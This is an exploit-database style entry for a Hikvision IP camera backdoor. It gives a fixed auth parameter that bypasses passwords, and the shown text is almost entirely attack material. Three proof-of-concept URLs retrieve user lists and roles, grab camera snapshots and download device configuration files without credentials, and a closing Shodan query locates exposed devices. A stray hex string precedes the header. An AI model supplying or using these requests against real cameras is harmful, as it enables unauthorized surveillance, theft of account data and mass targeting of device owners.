Hikvision IP Camera has a backdoor where a magic string allows instant access regardless of authentication.
1b391e39817d3f32ace4fa923e5891f0# Exploit Title: Hikvision IP Camera - Backdoor
# Date: 14/03/2022
# Exploit Author: Sobhan Mahmoodi
# Reference: https://ipvm.com/reports/hik-exploit
# GitHub: https://github.com/bp2008/HikPasswordHelper/
Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)
# Proof of Concept:
Retrieve a list of all users and their roles:
- http://camera.ip/Security/users?auth=YWRtaW46MTEK
Obtain a camera snapshot without authentication:
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
Download camera configuration:
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
Shodan link to monitor :
https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22